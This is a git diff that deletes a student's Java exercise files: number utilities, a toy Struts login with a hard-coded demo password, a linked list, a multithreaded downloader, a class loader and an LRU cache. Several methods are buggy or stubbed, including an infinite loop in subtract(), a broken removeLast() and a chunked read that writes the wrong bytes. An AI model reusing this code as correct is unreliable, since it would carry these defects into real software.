-		List<Integer> list=new ArrayList<Integer>();
-		int num=3;
-		list.add(2);
-		boolean flag=true;
-		while(true){
-			flag=true;
-			for(int i=2;i<num;i++){
-				if(num%i==0){
-					flag=false;
-					break;
-				}
-			}
-			if(max<=num){
-				break;
-			}
-			if(flag==true){
-				list.add(num);
-			}
-			num++;
-		}
-		int [] array=new int [list.size()];
-		for(int i=0;i<array.length;i++){
-			array[i]=list.get(i);
-		}
-		return array;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		List <Integer> list=new ArrayList<Integer>();
-		Set <Integer> temp=new HashSet<Integer>();
-		int num=1;
-		int result=0;
-		while(true){
-			for(int i=1;i<num;i++){
-				if(num%i==0){
-					temp.add(i);
-				}
-			}
-			for(Integer i:temp){
-				result+=i;
-			}
-			if(num>max){
-				break;
-			}
-			if(num==result){
-				list.add(num);
-			}
-			temp.clear();
-			result=0;
-			num++;
-		}
-		int [] array=new int [list.size()];
-		for(int i=0;i<array.length;i++){
-			array[i]=list.get(i);
-		}
-		return array;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		List <String> list=new ArrayList<String>();
-		for(int i=0;i<array.length;i++){
-			list.add(new Integer(array[i]).toString());
-			if(i==array.length-1){
-				break;
-			}
-			list.add(seperator);
-		}
-		StringBuilder str=new StringBuilder();
-		for(String s:list){
-			str.append(s);
-		}
-		return str.toString();
-	}
-	
-}
diff --git a/group23/632678665/com/basic/week2/litestruts/LoginAction.java b/group23/632678665/com/basic/week2/litestruts/LoginAction.java
deleted file mode 100644
index 80133805ac..0000000000
--- a/group23/632678665/com/basic/week2/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.basic.week2.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/632678665/com/basic/week2/litestruts/Struts.java b/group23/632678665/com/basic/week2/litestruts/Struts.java
deleted file mode 100644
index 0b1a7c03f0..0000000000
--- a/group23/632678665/com/basic/week2/litestruts/Struts.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.basic.week2.litestruts;
-
-
-import java.util.Map;
-
-
-
-public class Struts {
-
-    public static View runAction(String actionName, Map<String,String> parameters) {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    	return null;
-    }    
-
-}
diff --git a/group23/632678665/com/basic/week2/litestruts/StrutsTest.java b/group23/632678665/com/basic/week2/litestruts/StrutsTest.java
deleted file mode 100644
index 5549100269..0000000000
--- a/group23/632678665/com/basic/week2/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.basic.week2.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/632678665/com/basic/week2/litestruts/View.java b/group23/632678665/com/basic/week2/litestruts/View.java
deleted file mode 100644
index 7260afd69b..0000000000
--- a/group23/632678665/com/basic/week2/litestruts/View.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.basic.week2.litestruts;
-
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/632678665/com/basic/week3/datastructure/LinkedList.java b/group23/632678665/com/basic/week3/datastructure/LinkedList.java
deleted file mode 100644
index 09b08dd25f..0000000000
--- a/group23/632678665/com/basic/week3/datastructure/LinkedList.java
+++ /dev/null
@@ -1,446 +0,0 @@
-package com.basic.week3.datastructure;
-
-import java.util.Collection;
-import java.util.Iterator;
-import java.util.List;
-import java.util.ListIterator;
-import java.util.NoSuchElementException;
-
-public class LinkedList implements List {
-
-	private int size = 0;
-	// 头结点
-	private Node head;
-	// 尾结点
-	private Node tail;
-
-	private void rangeCheck(int index) {
-		if (index < 0 || index > size) {
-			throw new IndexOutOfBoundsException();
-		}
-	}
-
-//	public void add(Object o) {
-//		Node node = new Node(o, null);
-//		if (head == null) {
-//			head = tail = node;
-//		}
-//		Node oldTail = tail;
-//		tail = node;
-//		oldTail.next = tail;
-//		size++;
-//	}
-
-	public void add(int index, Object o) {
-		rangeCheck(index);
-		if (index == size) {
-			this.add(o);
-		} else {
-			// 保存index处节点
-			Node x = head;
-			// 保存index-1处的节点
-			Node y = null;
-			for (int i = 0; i < index; i++) {
-				y = x;
-				x = x.next;
-			}
-			Node node = new Node(o, x);
-			y.next = node;
-			size++;
-		}
-	}
-
-	public Object get(int index) {
-		rangeCheck(index);
-		Node x = head;
-		for (int i = 0; i < index; i++) {
-			x = x.next;
-		}
-		return x.data;
-	}
-
-	public Object remove(int index) {
-		rangeCheck(index);
-		Object removeData;
-		if (index == 0) {
-			removeData = removeFirst();
-		} else if (index == size - 1) {
-			removeData = removeLast();
-		} else {
-			Node x = head;
-			Node y = head;
-			for (int i = 0; i < index; i++) {
-				y = x;
-				x = x.next;
-			}
-			y.next = x.next;
-			size--;
-			removeData = x.data;
-		}
-		return removeData;
-	}
-
-	@Override
-	public int size() {
-		return size;
-	}
-
-	public void addFirst(Object o) {
-		Node oldHead = head;
-		head = new Node(o, oldHead);
-		size++;
-	}
-
-	public void addLast(Object o) {
-		Node oldTail = tail;
-		tail = new Node(o, null);
-		oldTail.next = tail;
-		size++;
-	}
-
-	public Object removeFirst() {
-		Node next = head.next;
-		Object data = head.data;
-		head.data = null;
-		head.next = null;
-		head = next;
-		size--;
-		return data;
-	}
-
-	public Object removeLast() {
-		Node oldTail = tail;
-		Node temp = head;
-		for (int i = 0; i < size - 2; i++) {
-			temp = temp.next;
-		}
-		tail = temp;
-		size--;
-		return oldTail.data;
-	}
-
-	public void clear() {
-		for (Node x = head; x != null;) {
-			Node next = x.next;
-			x.data = null;
-			x.next = null;
-			x = next;
-		}
-		head = tail = null;
-		size = 0;
-	}
-
-	public Object getTail() {
-		Node l = tail;
-		// 如果链表为空
-		if (l == null) {
-			throw new NoSuchElementException();
-		}
-		return l.data;
-	}
-
-	public Object getHead() {
-		Node l = head;
-		// 如果链表为空
-		if (l == null) {
-			throw new NoSuchElementException();
-		}
-		return l.data;
-	}
-
-	public Iterator iterator() {
-		return new LinkedListIterator();
-	}
-
-	private static class Node {
-		Object data;
-		Node next;
-
-		Node(Object data, Node next) {
-			this.data = data;
-			this.next = next;
-		}
-
-	}
-
-	private class LinkedListIterator implements Iterator {
-		Node x = head;
-
-		@Override
-		public boolean hasNext() {
-			return x != null;
-		}
-
-		@Override
-		public Object next() {
-			Object data = x.data;
-			x = x.next;
-			return data;
-		}
-
-		@Override
-		public void remove() {
-			// TODO Auto-generated method stub
-			
-		}
-
-	}
-
-	/**
-	 * 把该链表逆置 例如链表为 3->7->10 , 逆置后变为 10->7->3
-	 */
-	public void reverse() {
-		Object[] temp = new Object[size];
-		for (int i = 0; i < size; i++) {
-			temp[i] = this.get(i);
-		}
-		this.clear();
-		for (int i = temp.length - 1; i >= 0; i--) {
-			this.add(temp[i]);
-		}
-	}
-
-	/**
-	 * 删除一个单链表的前半部分 例如：list = 2->5->7->8 , 删除以后的值为 7->8 如果list = 2->5->7->8->10
-	 * ,删除以后的值为7,8,10
-	 *
-	 */
-	public void removeFirstHalf() {
-		int s = size;
-		for (int i = 0; i < s / 2; i++) {
-			this.removeFirst();
-		}
-	}
-
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 *
-	 * @param i
-	 * @param length
-	 * @throws Exception
-	 */
-	public void remove(int i, int length) throws Exception {
-		if (i + length > size) {
-			throw new Exception();
-		}
-		for (int j = i; j < i + length; j++) {
-			this.remove(i);
-		}
-	}
-
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数 从当前链表中取出那些list所指定的元素 例如当前链表 =
-	 * 11->101->201->301->401->501->601->701 listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]
-	 *
-	 * @param list
-	 * @throws Exception
-	 */
-	public int[] getElements(LinkedList list) throws Exception {
-		if ((int) list.getTail() > this.size()) {
-			throw new Exception();
-		}
-		int[] temp = new int[list.size()];
-		for (int i = 0; i < list.size(); i++) {
-			temp[i] = (int) this.get((int) list.get(i));
-		}
-		return temp;
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 从当前链表中中删除在list中出现的元素
-	 *
-	 * @param list
-	 */
-
-	public void subtract(LinkedList list) {
-		Node x = head;
-		Node y = list.head;
-		while (x != null && y != null) {
-			if ((int) x.data < (int) y.data) {
-				x = x.next;
-				continue;
-			}
-			if ((int) x.data == (int) y.data) {
-				Node next = x.next;
-				continue;
-			}
-			if ((int) x.data > (int) y.data) {
-				y = y.next;
-				continue;
-			}
-		}
-	}
-
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public void removeDuplicateValues() {
-		for (Node x = head; x != null;) {
-			Node next = x.next;
-			if (next == null) {
-				return;
-			}
-			if (x.data == next.data) {
-				x.next = next.next;
-				size--;
-			} else {
-				x = x.next;
-			}
-		}
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 *
-	 * @param min
-	 * @param max
-	 */
-	public void removeRange(int min, int max) {
-		if ((int) this.getTail() < min) {
-			this.clear();
-		}
-
-		if ((int) this.getHead() > max) {
-			return;
-		}
-
-		for (Node x = head; x != null; x = x.next) {
-			if ((int) x.data <= min) {
-				continue;
-			}
-
-		}
-	}
-
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 *
-	 * @param list
-	 */
-	public LinkedList intersection(LinkedList list) {
-		LinkedList linkedList = new LinkedList();
-		Node x = head;
-		Node y = list.head;
-		while (x != null && y != null) {
-			if ((int) x.data < (int) y.data) {
-				x = x.next;
-				continue;
-			}
-			if ((int) x.data == (int) y.data) {
-				linkedList.add(x.data);
-				x = x.next;
-				y = y.next;
-				continue;
-			}
-			if ((int) x.data > (int) y.data) {
-				y = y.next;
-				continue;
-			}
-		}
-		return linkedList;
-	}
-
-	@Override
-	public boolean isEmpty() {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public boolean contains(Object o) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public Object[] toArray() {
-		// TODO Auto-generated method stub
-		return null;
-	}
-
-	@Override
-	public Object[] toArray(Object[] a) {
-		// TODO Auto-generated method stub
-		return null;
-	}
-
-	@Override
-	public boolean remove(Object o) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public boolean containsAll(Collection c) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public boolean addAll(Collection c) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public boolean addAll(int index, Collection c) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public boolean removeAll(Collection c) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public boolean retainAll(Collection c) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-
-	@Override
-	public Object set(int index, Object element) {
-		// TODO Auto-generated method stub
-		return null;
-	}
-
-	@Override
-	public int indexOf(Object o) {
-		// TODO Auto-generated method stub
-		return 0;
-	}
-
-	@Override
-	public int lastIndexOf(Object o) {
-		// TODO Auto-generated method stub
-		return 0;
-	}
-
-	@Override
-	public ListIterator listIterator() {
-		// TODO Auto-generated method stub
-		return null;
-	}
-
-	@Override
-	public ListIterator listIterator(int index) {
-		// TODO Auto-generated method stub
-		return null;
-	}
-
-	@Override
-	public List subList(int fromIndex, int toIndex) {
-		// TODO Auto-generated method stub
-		return null;
-	}
-
-	@Override
-	public boolean add(Object e) {
-		// TODO Auto-generated method stub
-		return false;
-	}
-}
diff --git a/group23/632678665/com/basic/week3/download/Demo.java b/group23/632678665/com/basic/week3/download/Demo.java
deleted file mode 100644
index f4dc344cb5..0000000000
--- a/group23/632678665/com/basic/week3/download/Demo.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.basic.week3.download;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.OutputStream;
-import java.io.PrintStream;
-import java.io.RandomAccessFile;
-import java.net.URL;
-
-public class Demo {
-
-	public static void main(String[] args) throws Exception {
-//		File f=new File("E://123.txt");
-//		InputStream ii=new FileInputStream(f);
-//		byte [] b=new byte [2];
-//		int j;
-//		while(true){
-//			if(ii.read(b)==0){
-//				System.out.println("1111");
-//			}
-//			if(ii.read(b)==-1){
-//				System.out.println("3333");
-//			}
-//		}
-		URL url=new URL("Http://localhsot:8080/123.txt");
-		String [] s=url.toString().split("/");
-		for(String str:s){
-			
-		}
-	}
-
-}
diff --git a/group23/632678665/com/basic/week3/download/DownloadThread.java b/group23/632678665/com/basic/week3/download/DownloadThread.java
deleted file mode 100644
index 89b7fdc3f5..0000000000
--- a/group23/632678665/com/basic/week3/download/DownloadThread.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.basic.week3.download;
-
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-import com.basic.week3.download.api.Connection;
-
-public class DownloadThread extends Thread{
-	public static int count=0;
-	Connection conn;
-	int startPos;
-	int endPos;
-	
-	public DownloadThread(Connection conn, int startPos, int endPos){
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){
-		try {
-			count++;
-			conn.read(startPos, endPos);
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}finally{
-			count--;
-		}
-	}
-}
diff --git a/group23/632678665/com/basic/week3/download/FileDownloader.java b/group23/632678665/com/basic/week3/download/FileDownloader.java
deleted file mode 100644
index d32975f4b5..0000000000
--- a/group23/632678665/com/basic/week3/download/FileDownloader.java
+++ /dev/null
@@ -1,97 +0,0 @@
-package com.basic.week3.download;
-
-import com.basic.week3.download.api.Connection;
-import com.basic.week3.download.api.ConnectionException;
-import com.basic.week3.download.api.ConnectionManager;
-import com.basic.week3.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-	Connection conn;
-	
-	DownloadThread dt;
-	
-	private static final int THREAD_NUM=4;
-	public FileDownloader(String _url) {
-		this.url = _url;
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		/*Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}*/
-		try {
-			//打开url
-			conn=cm.open(url);
-			//判断资源长度
-			int length=conn.getContentLength();
-			//每个线程所占的资源
-			int off=(int)(length/3);
-			int start=0;
-			for(int i=0;i<THREAD_NUM-1;i++){
-				if(i==2){
-					new DownloadThread(conn,start+off,length-2*off).start();
-					break;
-				}
-				new DownloadThread(conn,start,off).start();
-				start+=off;
-			}
-			while(true){
-				if(DownloadThread.count==0){
-					break;
-				}
-			}
-		} catch (ConnectionException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		} 
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/632678665/com/basic/week3/download/FileDownloaderTest.java b/group23/632678665/com/basic/week3/download/FileDownloaderTest.java
deleted file mode 100644
index e7509a5256..0000000000
--- a/group23/632678665/com/basic/week3/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.basic.week3.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.basic.week3.download.api.ConnectionManager;
-import com.basic.week3.download.api.DownloadListener;
-import com.basic.week3.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/test.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/632678665/com/basic/week3/download/api/Connection.java b/group23/632678665/com/basic/week3/download/api/Connection.java
deleted file mode 100644
index 6d82e31950..0000000000
--- a/group23/632678665/com/basic/week3/download/api/Connection.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.basic.week3.download.api;
-
-import java.io.IOException;
-import java.net.URLConnection;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/632678665/com/basic/week3/download/api/ConnectionException.java b/group23/632678665/com/basic/week3/download/api/ConnectionException.java
deleted file mode 100644
index bbb7648386..0000000000
--- a/group23/632678665/com/basic/week3/download/api/ConnectionException.java
+++ /dev/null
@@ -1,12 +0,0 @@
-package com.basic.week3.download.api;
-
-import java.io.IOException;
-
-public class ConnectionException extends IOException {
-	public ConnectionException(){
-		super();
-	}
-	public ConnectionException(String message){
-		super(message);
-	}
-}
diff --git a/group23/632678665/com/basic/week3/download/api/ConnectionManager.java b/group23/632678665/com/basic/week3/download/api/ConnectionManager.java
deleted file mode 100644
index 0c9ab2a58b..0000000000
--- a/group23/632678665/com/basic/week3/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.basic.week3.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/632678665/com/basic/week3/download/api/DownloadListener.java b/group23/632678665/com/basic/week3/download/api/DownloadListener.java
deleted file mode 100644
index 4855b39ec5..0000000000
--- a/group23/632678665/com/basic/week3/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.basic.week3.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java b/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
deleted file mode 100644
index 99c2ac6996..0000000000
--- a/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.basic.week3.download.impl;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-import java.net.URLConnection;
-
-import com.basic.week3.download.api.Connection;
-import com.basic.week3.download.api.ConnectionException;
-import com.basic.week3.download.api.ConnectionManager;
-
-public class ConnectionImpl implements Connection{
-	private static final String PATH="E://";
-	private URLConnection urlConnection;
-	private InputStream input;
-	private String fileName;
-	ConnectionImpl(URLConnection urlConnection,String fileName){
-		this.urlConnection=urlConnection;
-		this.fileName=fileName;
-	}
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		byte [] buffer=new byte [1024];
-		input=urlConnection.getInputStream();
-		RandomAccessFile raFile=new RandomAccessFile(creatLocalFile().toString(),"rw");
-		//读取次数
-		int times=(int)((endPos-startPos-1)/1024);
-		input.skip(startPos);
-		raFile.seek(startPos);
-		for(int i=times;i<=times;i++){
-			int flag=input.read(buffer);
-			raFile.write(buffer,0,buffer.length);
-			if(flag<0){
-				break;
-			}
-		}
-		return buffer;
-	}
-
-	@Override
-	public int getContentLength() {
-		return urlConnection.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		try {
-			input.close();
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-	}
-	private File creatLocalFile(){
-		File file=new File(PATH+fileName);
-		return file;
-	}
-}
diff --git a/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java b/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 5ea3bea318..0000000000
--- a/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.basic.week3.download.impl;
-
-import java.io.IOException;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLConnection;
-
-import com.basic.week3.download.api.Connection;
-import com.basic.week3.download.api.ConnectionException;
-import com.basic.week3.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-	
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		URL urlPath=null;
-		Connection conn=null;
-		try {
-			urlPath = new URL(url);
-			URLConnection urlConnection=urlPath.openConnection();
-			//解析文件
-			String [] s =urlPath.toString().split("/");
-			String fileName=s[s.length-1];
-			conn=new ConnectionImpl(urlConnection,fileName);
-		} catch (MalformedURLException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-		return conn;
-	}
-
-}
diff --git a/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java b/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 7528e27324..0000000000
--- a/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package com.coding2017.week4.jvm.loader;
-
-import com.google.common.base.Joiner;
-import com.google.common.base.Splitter;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-public class ClassFileLoader {
-    private static Joiner SEMICOLON_JOINER = Joiner.on(";").skipNulls();
-    private static Splitter DOT_SPLITTER = Splitter.on(".").trimResults();
-    private static Joiner SLASH_JOINER = Joiner.on("/").skipNulls();
-
-    private static String CLASS_SUFFIX = ".class";
-
-    private List<String> clzPaths = new ArrayList<String>();
-
-    public byte[] readBinaryCode(String className) {
-        List<String> list = DOT_SPLITTER.splitToList(className);
-        String childDirectory = SLASH_JOINER.join(list);
-        for (String clzPath : clzPaths) {
-            String fullPath = makeFullPath(clzPath, childDirectory);
-            if (fileExist(fullPath)) {
-                return readFileBytes(fullPath);
-            }
-        }
-        System.out.println("no this class file: " + className);
-        return null;
-    }
-
-    private byte[] readFileBytes(String filePath) {
-        try {
-            File file = new File(filePath);
-            long length = file.length();
-            byte[] fileBytes = new byte[(int) length];
-            int readLength = new FileInputStream(filePath).read(fileBytes);
-            if (readLength != length) {
-                System.out.println("read file error. read length: " + readLength + ", full length : " + length);
-                return null;
-            }
-            return fileBytes;
-        } catch (IOException e) {
-            System.out.println("read file error. " + filePath);
-            return null;
-        }
-    }
-
-    private boolean fileExist(String fullPath) {
-        File classFile = new File(fullPath);
-        return classFile.exists() && classFile.isFile();
-    }
-
-    private String makeFullPath(String clzPath, String childDirectory) {
-        if (clzPath.endsWith("/") || clzPath.endsWith("\\")) {
-            return clzPath + childDirectory + CLASS_SUFFIX;
-        } else {
-            return clzPath + "/" + childDirectory + CLASS_SUFFIX;
-        }
-    }
-
-    public void addClassPath(String path) {
-        if (!clzPaths.contains(path)) {
-            clzPaths.add(path);
-        }
-    }
-
-    public String getClassPath() {
-        return SEMICOLON_JOINER.join(clzPaths);
-    }
-
-}
diff --git a/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java b/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
deleted file mode 100644
index 7d0419dc77..0000000000
--- a/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coding2017.week4.jvm.test;
-
-public class EmployeeV1 {
-
-    private String name;
-    private int age;
-
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public void setAge(int age) {
-        this.age = age;
-    }
-
-    public void sayHello() {
-        System.out.println("Hello , this is class Employee ");
-    }
-
-    public static void main(String[] args) {
-        EmployeeV1 p = new EmployeeV1("Andy", 29);
-        p.sayHello();
-
-    }
-}
\ No newline at end of file
diff --git a/group23/632678665/com/basic/week4/lru/LRUPageFrame.java b/group23/632678665/com/basic/week4/lru/LRUPageFrame.java
deleted file mode 100644
index 55039dda56..0000000000
--- a/group23/632678665/com/basic/week4/lru/LRUPageFrame.java
+++ /dev/null
@@ -1,131 +0,0 @@
-package com.coding2017.week4.lru;
-
-/**
- * 用双向链表实现LRU算法
- * 
- * @author liuxin
- *
- */
-public class LRUPageFrame {
-    private static class Node {
-        Node prev;
-        Node next;
-        int pageNum;
-
-        Node() {
-        }
-    }
-
-    private int capacity;
-
-    private Node first;// 链表头
-    private Node last;// 链表尾
-    private int size; // 当前个数
-
-    public LRUPageFrame(int capacity) {
-        this.capacity = capacity;
-        size = 0;
-    }
-
-    /**
-     * 获取缓存中对象
-     * 
-     * @param pageNum
-     * @return
-     */
-    public void access(int pageNum) {
-        Node node = query(pageNum);
-        if (node == null) {
-            Node newNode = new Node();
-            newNode.pageNum = pageNum;
-            accessNotExist(newNode);
-        } else {
-            accessExist(node);
-        }
-    }
-
-    private void accessExist(Node node) {
-        removeNode(node);
-        addFirst(node);
-    }
-
-    /**
